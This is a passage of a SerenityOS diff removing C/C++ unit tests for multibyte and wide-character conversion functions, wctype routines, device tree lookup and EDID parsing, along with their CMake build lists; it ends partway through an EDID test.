TEST_CASE(mbsinit)
|
||||
{
|
||||
// Ensure that nullptr is considered an initial state.
|
||||
EXPECT(mbsinit(nullptr) != 0);
|
||||
|
||||
// Ensure that a zero-initialized state is recognized as initial state.
|
||||
mbstate_t state = {};
|
||||
EXPECT(mbsinit(&state) != 0);
|
||||
|
||||
// Read a partial multibyte sequence (0b11011111 / 0xdf).
|
||||
size_t ret = mbrtowc(nullptr, "\xdf", 1, &state);
|
||||
|
||||
if (ret != -2ul)
|
||||
FAIL(ByteString::formatted("mbrtowc accepted partial multibyte sequence with return code {} (expected -2)", static_cast<ssize_t>(ret)));
|
||||
|
||||
// Ensure that we are not in an initial state.
|
||||
EXPECT(mbsinit(&state) == 0);
|
||||
|
||||
// Read the remaining multibyte sequence (0b10111111 / 0xbf).
|
||||
ret = mbrtowc(nullptr, "\xbf", 1, &state);
|
||||
|
||||
if (ret != 1ul)
|
||||
FAIL(ByteString::formatted("mbrtowc did not consume the expected number of bytes (1), returned {} instead", static_cast<ssize_t>(ret)));
|
||||
|
||||
// Ensure that we are in an initial state again.
|
||||
EXPECT(mbsinit(&state) != 0);
|
||||
}
|
||||
|
||||
TEST_CASE(mbrtowc)
|
||||
{
|
||||
size_t ret = 0;
|
||||
mbstate_t state = {};
|
||||
wchar_t wc = 0;
|
||||
|
||||
// Ensure that we can parse normal ASCII characters.
|
||||
ret = mbrtowc(&wc, "Hello", 5, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>('H'));
|
||||
|
||||
// Try two three-byte codepoints (™™), only one of which should be consumed.
|
||||
ret = mbrtowc(&wc, "\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
|
||||
EXPECT_EQ(ret, 3ul);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
|
||||
|
||||
// Try a null character, which should return 0 and reset the state to the initial state.
|
||||
ret = mbrtowc(&wc, "\x00\x00", 2, &state);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>(0));
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Try an incomplete multibyte character.
|
||||
ret = mbrtowc(&wc, "\xe2\x84", 2, &state);
|
||||
EXPECT_EQ(ret, -2ul);
|
||||
EXPECT_EQ(mbsinit(&state), 0);
|
||||
|
||||
mbstate_t incomplete_state = state;
|
||||
|
||||
// Finish the previous multibyte character.
|
||||
ret = mbrtowc(&wc, "\xa2", 1, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
|
||||
|
||||
// Try an invalid multibyte sequence.
|
||||
// Reset the state afterwards because the effects are undefined.
|
||||
ret = mbrtowc(&wc, "\xff", 1, &state);
|
||||
EXPECT_EQ(ret, -1ul);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
state = {};
|
||||
|
||||
// Try a successful conversion, but without target address.
|
||||
ret = mbrtowc(nullptr, "\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
|
||||
EXPECT_EQ(ret, 3ul);
|
||||
|
||||
// Test the "null byte shorthand". Ensure that wc is ignored.
|
||||
state = {};
|
||||
wchar_t old_wc = wc;
|
||||
ret = mbrtowc(&wc, nullptr, 0, &state);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
EXPECT_EQ(wc, old_wc);
|
||||
|
||||
// Test recognition of incomplete multibyte sequences.
|
||||
ret = mbrtowc(nullptr, nullptr, 0, &incomplete_state);
|
||||
EXPECT_EQ(ret, -1ul);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
}
|
||||
|
||||
TEST_CASE(wcrtomb)
|
||||
{
|
||||
char buf[MB_LEN_MAX];
|
||||
size_t ret = 0;
|
||||
|
||||
// Ensure that `wc` is ignored when buf is a nullptr.
|
||||
ret = wcrtomb(nullptr, L'a', nullptr);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
|
||||
ret = wcrtomb(nullptr, L'\U0001F41E', nullptr);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
|
||||
// When the buffer is non-null, the multibyte representation is written into it.
|
||||
ret = wcrtomb(buf, L'a', nullptr);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(memcmp(buf, "a", ret), 0);
|
||||
|
||||
ret = wcrtomb(buf, L'\U0001F41E', nullptr);
|
||||
EXPECT_EQ(ret, 4ul);
|
||||
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", ret), 0);
|
||||
|
||||
// When the wide character is invalid, -1 is returned and errno is set to EILSEQ.
|
||||
ret = wcrtomb(buf, 0x110000, nullptr);
|
||||
EXPECT_EQ(ret, (size_t)-1);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
|
||||
// Replacement characters and conversion errors are not confused.
|
||||
ret = wcrtomb(buf, L'\uFFFD', nullptr);
|
||||
EXPECT_NE(ret, (size_t)-1);
|
||||
}
|
||||
|
||||
TEST_CASE(wcsrtombs)
|
||||
{
|
||||
mbstate_t state = {};
|
||||
char buf[MB_LEN_MAX * 4];
|
||||
wchar_t const good_chars[] = { L'\U0001F41E', L'\U0001F41E', L'\0' };
|
||||
wchar_t const bad_chars[] = { L'\U0001F41E', static_cast<wchar_t>(0x1111F41E), L'\0' };
|
||||
wchar_t const* src;
|
||||
size_t ret = 0;
|
||||
|
||||
// Convert normal and valid wchar_t values.
|
||||
src = good_chars;
|
||||
ret = wcsrtombs(buf, &src, 9, &state);
|
||||
EXPECT_EQ(ret, 8ul);
|
||||
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e", 9), 0);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Stop on invalid wchar values.
|
||||
src = bad_chars;
|
||||
ret = wcsrtombs(buf, &src, 9, &state);
|
||||
EXPECT_EQ(ret, -1ul);
|
||||
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", 4), 0);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
EXPECT_EQ(src, bad_chars + 1);
|
||||
|
||||
// Valid characters but not enough space.
|
||||
src = good_chars;
|
||||
ret = wcsrtombs(buf, &src, 7, &state);
|
||||
EXPECT_EQ(ret, 4ul);
|
||||
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e", 4), 0);
|
||||
EXPECT_EQ(src, good_chars + 1);
|
||||
|
||||
// Try a conversion with no destination and too short length.
|
||||
src = good_chars;
|
||||
ret = wcsrtombs(nullptr, &src, 2, &state);
|
||||
EXPECT_EQ(ret, 8ul);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Try a conversion using the internal anonymous state.
|
||||
src = good_chars;
|
||||
ret = wcsrtombs(buf, &src, 9, nullptr);
|
||||
EXPECT_EQ(ret, 8ul);
|
||||
EXPECT_EQ(memcmp(buf, "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e", 9), 0);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(wcsnrtombs)
|
||||
{
|
||||
mbstate_t state = {};
|
||||
wchar_t const good_chars[] = { L'\U0001F41E', L'\U0001F41E', L'\0' };
|
||||
wchar_t const* src;
|
||||
size_t ret = 0;
|
||||
|
||||
// Convert nothing.
|
||||
src = good_chars;
|
||||
ret = wcsnrtombs(nullptr, &src, 0, 0, &state);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
EXPECT_EQ(src, good_chars);
|
||||
|
||||
// Convert one wide char.
|
||||
src = good_chars;
|
||||
ret = wcsnrtombs(nullptr, &src, 1, 0, &state);
|
||||
EXPECT_EQ(ret, 4ul);
|
||||
EXPECT_EQ(src, good_chars + 1);
|
||||
|
||||
// Encounter a null character.
|
||||
src = good_chars;
|
||||
ret = wcsnrtombs(nullptr, &src, 4, 0, &state);
|
||||
EXPECT_EQ(ret, 8ul);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(mbsrtowcs)
|
||||
{
|
||||
mbstate_t state = {};
|
||||
wchar_t buf[4];
|
||||
char const good_chars[] = "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e";
|
||||
char const bad_chars[] = "\xf0\x9f\x90\x9e\xf0\xff\x90\x9e";
|
||||
char const* src;
|
||||
size_t ret = 0;
|
||||
|
||||
// Convert normal and valid multibyte sequences.
|
||||
src = good_chars;
|
||||
ret = mbsrtowcs(buf, &src, 3, &state);
|
||||
EXPECT_EQ(ret, 2ul);
|
||||
EXPECT_EQ(buf[0], L'\U0001F41E');
|
||||
EXPECT_EQ(buf[1], L'\U0001F41E');
|
||||
EXPECT_EQ(buf[2], L'\0');
|
||||
EXPECT_EQ(src, nullptr);
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Stop on invalid multibyte sequences.
|
||||
src = bad_chars;
|
||||
ret = mbsrtowcs(buf, &src, 3, &state);
|
||||
EXPECT_EQ(ret, -1ul);
|
||||
EXPECT_EQ(buf[0], L'\U0001F41E');
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
EXPECT_EQ(src, bad_chars + 4);
|
||||
|
||||
// Valid sequence but not enough space.
|
||||
src = good_chars;
|
||||
ret = mbsrtowcs(buf, &src, 1, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(buf[0], L'\U0001F41E');
|
||||
EXPECT_EQ(src, good_chars + 4);
|
||||
|
||||
// Try a conversion with no destination and too short length.
|
||||
src = good_chars;
|
||||
ret = mbsrtowcs(nullptr, &src, 1, &state);
|
||||
EXPECT_EQ(ret, 2ul);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Try a conversion using the internal anonymous state.
|
||||
src = good_chars;
|
||||
ret = mbsrtowcs(buf, &src, 3, nullptr);
|
||||
EXPECT_EQ(ret, 2ul);
|
||||
EXPECT_EQ(buf[0], L'\U0001F41E');
|
||||
EXPECT_EQ(buf[1], L'\U0001F41E');
|
||||
EXPECT_EQ(buf[2], L'\0');
|
||||
EXPECT_EQ(src, nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(mbsnrtowcs)
|
||||
{
|
||||
mbstate_t state = {};
|
||||
char const good_chars[] = "\xf0\x9f\x90\x9e\xf0\x9f\x90\x9e";
|
||||
char const* src;
|
||||
size_t ret = 0;
|
||||
|
||||
// Convert nothing.
|
||||
src = good_chars;
|
||||
ret = mbsnrtowcs(nullptr, &src, 0, 0, &state);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
EXPECT_EQ(src, good_chars);
|
||||
|
||||
// Convert one full wide character.
|
||||
src = good_chars;
|
||||
ret = mbsnrtowcs(nullptr, &src, 4, 0, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(src, good_chars + 4);
|
||||
|
||||
// Encounter a null character.
|
||||
src = good_chars;
|
||||
ret = mbsnrtowcs(nullptr, &src, 10, 0, &state);
|
||||
EXPECT_EQ(ret, 2ul);
|
||||
EXPECT_EQ(src, nullptr);
|
||||
|
||||
// Convert an incomplete character.
|
||||
// Make sure that we point past the last processed byte.
|
||||
src = good_chars;
|
||||
ret = mbsnrtowcs(nullptr, &src, 6, 0, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(src, good_chars + 6);
|
||||
EXPECT_EQ(mbsinit(&state), 0);
|
||||
|
||||
// Finish converting the incomplete character.
|
||||
ret = mbsnrtowcs(nullptr, &src, 2, 0, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
EXPECT_EQ(src, good_chars + 8);
|
||||
}
|
||||
|
||||
TEST_CASE(wcslcpy)
|
||||
{
|
||||
auto buf = static_cast<wchar_t*>(malloc(8 * sizeof(wchar_t)));
|
||||
if (!buf) {
|
||||
FAIL("Could not allocate space for copy target");
|
||||
return;
|
||||
}
|
||||
|
||||
size_t ret;
|
||||
|
||||
// If buffer is long enough, a straight-forward string copy is performed.
|
||||
ret = wcslcpy(buf, L"abc", 8);
|
||||
EXPECT_EQ(ret, 3ul);
|
||||
EXPECT_EQ(wmemcmp(L"abc", buf, 4), 0);
|
||||
|
||||
// If buffer is (supposedly) too small, the string will be truncated.
|
||||
ret = wcslcpy(buf, L"1234", 4);
|
||||
EXPECT_EQ(ret, 4ul);
|
||||
EXPECT_EQ(wmemcmp(L"123", buf, 4), 0);
|
||||
|
||||
// If the buffer is null, the length of the input is returned.
|
||||
ret = wcslcpy(nullptr, L"abc", 0);
|
||||
EXPECT_EQ(ret, 3ul);
|
||||
}
|
||||
|
||||
TEST_CASE(mbrlen)
|
||||
{
|
||||
size_t ret = 0;
|
||||
mbstate_t state = {};
|
||||
|
||||
// Ensure that we can parse normal ASCII characters.
|
||||
ret = mbrlen("Hello", 5, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
|
||||
// Try two three-byte codepoints (™™), only one of which should be consumed.
|
||||
ret = mbrlen("\xe2\x84\xa2\xe2\x84\xa2", 6, &state);
|
||||
EXPECT_EQ(ret, 3ul);
|
||||
|
||||
// Try a null character, which should return 0 and reset the state to the initial state.
|
||||
ret = mbrlen("\x00\x00", 2, &state);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
EXPECT_NE(mbsinit(&state), 0);
|
||||
|
||||
// Try an incomplete multibyte character.
|
||||
ret = mbrlen("\xe2\x84", 2, &state);
|
||||
EXPECT_EQ(ret, -2ul);
|
||||
EXPECT_EQ(mbsinit(&state), 0);
|
||||
|
||||
// Finish the previous multibyte character.
|
||||
ret = mbrlen("\xa2", 1, &state);
|
||||
EXPECT_EQ(ret, 1ul);
|
||||
|
||||
// Try an invalid multibyte sequence.
|
||||
// Reset the state afterwards because the effects are undefined.
|
||||
ret = mbrlen("\xff", 1, &state);
|
||||
EXPECT_EQ(ret, -1ul);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
state = {};
|
||||
}
|
||||
|
||||
TEST_CASE(mbtowc)
|
||||
{
|
||||
int ret = 0;
|
||||
wchar_t wc = 0;
|
||||
|
||||
// Ensure that we can parse normal ASCII characters.
|
||||
ret = mbtowc(&wc, "Hello", 5);
|
||||
EXPECT_EQ(ret, 1);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>('H'));
|
||||
|
||||
// Try two three-byte codepoints (™™), only one of which should be consumed.
|
||||
ret = mbtowc(&wc, "\xe2\x84\xa2\xe2\x84\xa2", 6);
|
||||
EXPECT_EQ(ret, 3);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>(0x2122));
|
||||
|
||||
// Try a null character, which should return 0.
|
||||
ret = mbtowc(&wc, "\x00\x00", 2);
|
||||
EXPECT_EQ(ret, 0);
|
||||
EXPECT_EQ(wc, static_cast<wchar_t>(0));
|
||||
|
||||
// Try an incomplete multibyte character.
|
||||
ret = mbtowc(&wc, "\xe2\x84", 2);
|
||||
EXPECT_EQ(ret, -1);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
|
||||
// Ask if we support shift states and reset the internal state in the process.
|
||||
ret = mbtowc(nullptr, nullptr, 2);
|
||||
EXPECT_EQ(ret, 0); // We don't support shift states.
|
||||
ret = mbtowc(nullptr, "\x00", 1);
|
||||
EXPECT_EQ(ret, 0); // No error likely means that the state is working again.
|
||||
|
||||
// Try an invalid multibyte sequence.
|
||||
ret = mbtowc(&wc, "\xff", 1);
|
||||
EXPECT_EQ(ret, -1);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
|
||||
// Try a successful conversion, but without target address.
|
||||
ret = mbtowc(nullptr, "\xe2\x84\xa2\xe2\x84\xa2", 6);
|
||||
EXPECT_EQ(ret, 3);
|
||||
}
|
||||
|
||||
TEST_CASE(mblen)
|
||||
{
|
||||
int ret = 0;
|
||||
|
||||
// Ensure that we can parse normal ASCII characters.
|
||||
ret = mblen("Hello", 5);
|
||||
EXPECT_EQ(ret, 1);
|
||||
|
||||
// Try two three-byte codepoints (™™), only one of which should be consumed.
|
||||
ret = mblen("\xe2\x84\xa2\xe2\x84\xa2", 6);
|
||||
EXPECT_EQ(ret, 3);
|
||||
|
||||
// Try a null character, which should return 0.
|
||||
ret = mblen("\x00\x00", 2);
|
||||
EXPECT_EQ(ret, 0);
|
||||
|
||||
// Try an incomplete multibyte character.
|
||||
ret = mblen("\xe2\x84", 2);
|
||||
EXPECT_EQ(ret, -1);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
|
||||
// Ask if we support shift states and reset the internal state in the process.
|
||||
ret = mblen(nullptr, 2);
|
||||
EXPECT_EQ(ret, 0); // We don't support shift states.
|
||||
ret = mblen("\x00", 1);
|
||||
EXPECT_EQ(ret, 0); // No error likely means that the state is working again.
|
||||
|
||||
// Try an invalid multibyte sequence.
|
||||
ret = mblen("\xff", 1);
|
||||
EXPECT_EQ(ret, -1);
|
||||
EXPECT_EQ(errno, EILSEQ);
|
||||
}
|
||||
|
||||
TEST_CASE(wcsftime)
|
||||
{
|
||||
// FIXME: Test actual wide char inputs once those are implemented.
|
||||
|
||||
auto* buf = static_cast<wchar_t*>(malloc(32 * sizeof(wchar_t)));
|
||||
if (!buf) {
|
||||
FAIL("Could not allocate space for copy target");
|
||||
return;
|
||||
}
|
||||
|
||||
struct tm time = {
|
||||
.tm_sec = 54,
|
||||
.tm_min = 44,
|
||||
.tm_hour = 12,
|
||||
.tm_mday = 27,
|
||||
.tm_mon = 4,
|
||||
.tm_year = 121,
|
||||
.tm_wday = 4,
|
||||
.tm_yday = 0,
|
||||
.tm_isdst = 0,
|
||||
};
|
||||
|
||||
size_t ret;
|
||||
|
||||
// Normal behavior.
|
||||
ret = wcsftime(buf, 32, L"%a, %d %b %Y %H:%M:%S", &time);
|
||||
EXPECT_EQ(ret, 25ul);
|
||||
EXPECT_EQ(wcscmp(buf, L"Thu, 27 May 2021 12:44:54"), 0);
|
||||
|
||||
// String fits exactly.
|
||||
ret = wcsftime(buf, 26, L"%a, %d %b %Y %H:%M:%S", &time);
|
||||
EXPECT_EQ(ret, 25ul);
|
||||
EXPECT_EQ(wcscmp(buf, L"Thu, 27 May 2021 12:44:54"), 0);
|
||||
|
||||
// Buffer is too small.
|
||||
ret = wcsftime(buf, 25, L"%a, %d %b %Y %H:%M:%S", &time);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
ret = wcsftime(buf, 1, L"%a, %d %b %Y %H:%M:%S", &time);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
ret = wcsftime(nullptr, 0, L"%a, %d %b %Y %H:%M:%S", &time);
|
||||
EXPECT_EQ(ret, 0ul);
|
||||
}
|
|
@ -1,85 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <wctype.h>
|
||||
|
||||
TEST_CASE(wctype)
|
||||
{
|
||||
// Test that existing properties return non-zero wctypes.
|
||||
EXPECT_NE(wctype("alnum"), 0ul);
|
||||
EXPECT_NE(wctype("alpha"), 0ul);
|
||||
EXPECT_NE(wctype("blank"), 0ul);
|
||||
EXPECT_NE(wctype("cntrl"), 0ul);
|
||||
EXPECT_NE(wctype("digit"), 0ul);
|
||||
EXPECT_NE(wctype("graph"), 0ul);
|
||||
EXPECT_NE(wctype("lower"), 0ul);
|
||||
EXPECT_NE(wctype("print"), 0ul);
|
||||
EXPECT_NE(wctype("punct"), 0ul);
|
||||
EXPECT_NE(wctype("space"), 0ul);
|
||||
EXPECT_NE(wctype("upper"), 0ul);
|
||||
EXPECT_NE(wctype("xdigit"), 0ul);
|
||||
|
||||
// Test that invalid properties return the "invalid" wctype (0).
|
||||
EXPECT_EQ(wctype(""), 0ul);
|
||||
EXPECT_EQ(wctype("abc"), 0ul);
|
||||
}
|
||||
|
||||
TEST_CASE(wctrans)
|
||||
{
|
||||
// Test that existing character mappings return non-zero wctrans values.
|
||||
EXPECT_NE(wctrans("tolower"), 0);
|
||||
EXPECT_NE(wctrans("toupper"), 0);
|
||||
|
||||
// Test that invalid character mappings return the "invalid" wctrans value (0).
|
||||
EXPECT_EQ(wctrans(""), 0);
|
||||
EXPECT_EQ(wctrans("abc"), 0);
|
||||
}
|
||||
|
||||
TEST_CASE(iswctype)
|
||||
{
|
||||
wint_t const test_chars[] = { L'A', L'a', L'F', L'f', L'Z', L'z', L'0', L'\n', L'.', L'\x00' };
|
||||
|
||||
// Test that valid properties are wired to the correct implementation.
|
||||
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("alnum")), iswalnum(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("alpha")), iswalpha(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("blank")), iswblank(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("cntrl")), iswcntrl(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("digit")), iswdigit(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("graph")), iswgraph(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("lower")), iswlower(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("print")), iswprint(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("punct")), iswpunct(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("space")), iswspace(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("upper")), iswupper(test_chars[i]));
|
||||
EXPECT_EQ_TRUTH(iswctype(test_chars[i], wctype("xdigit")), iswxdigit(test_chars[i]));
|
||||
}
|
||||
|
||||
// Test that invalid properties always return zero.
|
||||
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
|
||||
EXPECT_EQ(iswctype(test_chars[i], 0), 0);
|
||||
EXPECT_EQ(iswctype(test_chars[i], -1), 0);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(towctrans)
|
||||
{
|
||||
wint_t const test_chars[] = { L'A', L'a', L'F', L'f', L'Z', L'z', L'0', L'\n', L'.', L'\x00' };
|
||||
|
||||
// Test that valid mappings are wired to the correct implementation.
|
||||
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
|
||||
EXPECT_EQ(towctrans(test_chars[i], wctrans("tolower")), towlower(test_chars[i]));
|
||||
EXPECT_EQ(towctrans(test_chars[i], wctrans("toupper")), towupper(test_chars[i]));
|
||||
}
|
||||
|
||||
// Test that invalid mappings always return the character unchanged.
|
||||
for (unsigned int i = 0; i < sizeof(test_chars) / sizeof(test_chars[0]); i++) {
|
||||
EXPECT_EQ(towctrans(test_chars[i], 0), test_chars[i]);
|
||||
EXPECT_EQ(towctrans(test_chars[i], -1), test_chars[i]);
|
||||
}
|
||||
}
|
|
@ -1,9 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
TestLookup.cpp
|
||||
)
|
||||
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
serenity_test("${source}" LibDeviceTree LIBS LibDeviceTree LibFileSystem)
|
||||
endforeach()
|
||||
|
||||
install(FILES dtb.dtb DESTINATION usr/Tests/LibDeviceTree)
|
|
@ -1,29 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2024, Leon Albrecht <leon.a@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <LibCore/File.h>
|
||||
#include <LibCore/System.h>
|
||||
#include <LibDeviceTree/DeviceTree.h>
|
||||
#include <LibDeviceTree/FlattenedDeviceTree.h>
|
||||
|
||||
TEST_CASE(basic_functionality)
|
||||
{
|
||||
auto fdt_file = TRY_OR_FAIL(Core::File::open("/usr/Tests/LibDeviceTree/dtb.dtb"sv, Core::File::OpenMode::Read));
|
||||
auto fdt = TRY_OR_FAIL(fdt_file->read_until_eof());
|
||||
|
||||
auto device_tree = TRY_OR_FAIL(DeviceTree::DeviceTree::parse(fdt));
|
||||
|
||||
auto boot_args = device_tree->resolve_property("/chosen/bootargs"sv);
|
||||
EXPECT(boot_args.has_value());
|
||||
EXPECT_EQ(boot_args->as_string(), "hello root=nvme0:1:0 serial_debug"sv);
|
||||
|
||||
EXPECT(device_tree->phandle(1));
|
||||
auto device_type = device_tree->phandle(1)->get_property("device_type"sv);
|
||||
EXPECT(device_type.has_value());
|
||||
EXPECT_EQ(device_type->as_string(), "cpu"sv);
|
||||
}
|
Binary file not shown.
|
@ -1,7 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
TestEDID.cpp
|
||||
)
|
||||
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
serenity_test("${source}" LibEDID LIBS LibEDID)
|
||||
endforeach()
|
|
@ -1,539 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibEDID/DMT.h>
|
||||
#include <LibEDID/EDID.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
static u8 const edid1_bin[] = {
|
||||
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x49, 0x14, 0x34, 0x12,
|
||||
0x00, 0x00, 0x00, 0x00, 0x2a, 0x18, 0x01, 0x04, 0xa5, 0x1a, 0x13, 0x78,
|
||||
0x06, 0xee, 0x91, 0xa3, 0x54, 0x4c, 0x99, 0x26, 0x0f, 0x50, 0x54, 0x21,
|
||||
0x08, 0x00, 0xe1, 0xc0, 0xd1, 0xc0, 0xd1, 0x00, 0xa9, 0x40, 0xb3, 0x00,
|
||||
0x95, 0x00, 0x81, 0x80, 0x81, 0x40, 0x25, 0x20, 0x00, 0x66, 0x41, 0x00,
|
||||
0x1a, 0x30, 0x00, 0x1e, 0x33, 0x40, 0x04, 0xc3, 0x10, 0x00, 0x00, 0x18,
|
||||
0x00, 0x00, 0x00, 0xfd, 0x00, 0x32, 0x7d, 0x1e, 0xa0, 0x78, 0x01, 0x0a,
|
||||
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x51,
|
||||
0x45, 0x4d, 0x55, 0x20, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x0a,
|
||||
0x00, 0x00, 0x00, 0xf7, 0x00, 0x0a, 0x00, 0x40, 0x82, 0x00, 0x28, 0x20,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xc4, 0x02, 0x03, 0x0a, 0x00,
|
||||
0x45, 0x7d, 0x65, 0x60, 0x59, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0xf2
|
||||
};
|
||||
|
||||
TEST_CASE(edid1)
|
||||
{
|
||||
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid1_bin, sizeof(edid1_bin) }));
|
||||
EXPECT(edid.legacy_manufacturer_id() == "RHT");
|
||||
EXPECT(!edid.aspect_ratio().has_value());
|
||||
auto screen_size = edid.screen_size();
|
||||
EXPECT(screen_size.has_value());
|
||||
EXPECT(screen_size.value().horizontal_cm() == 26);
|
||||
EXPECT(screen_size.value().vertical_cm() == 19);
|
||||
auto gamma = edid.gamma();
|
||||
EXPECT(gamma.has_value());
|
||||
EXPECT(gamma.value() >= 2.19f && gamma.value() <= 2.21f);
|
||||
EXPECT(edid.display_product_name() == "QEMU Monitor");
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
EDID::Parser::EstablishedTiming::Source source;
|
||||
u8 dmt_id { 0 };
|
||||
} expected_established_timings[] = {
|
||||
{ 640, 480, 60, EDID::Parser::EstablishedTiming::Source::IBM, 0x4 },
|
||||
{ 800, 600, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x9 },
|
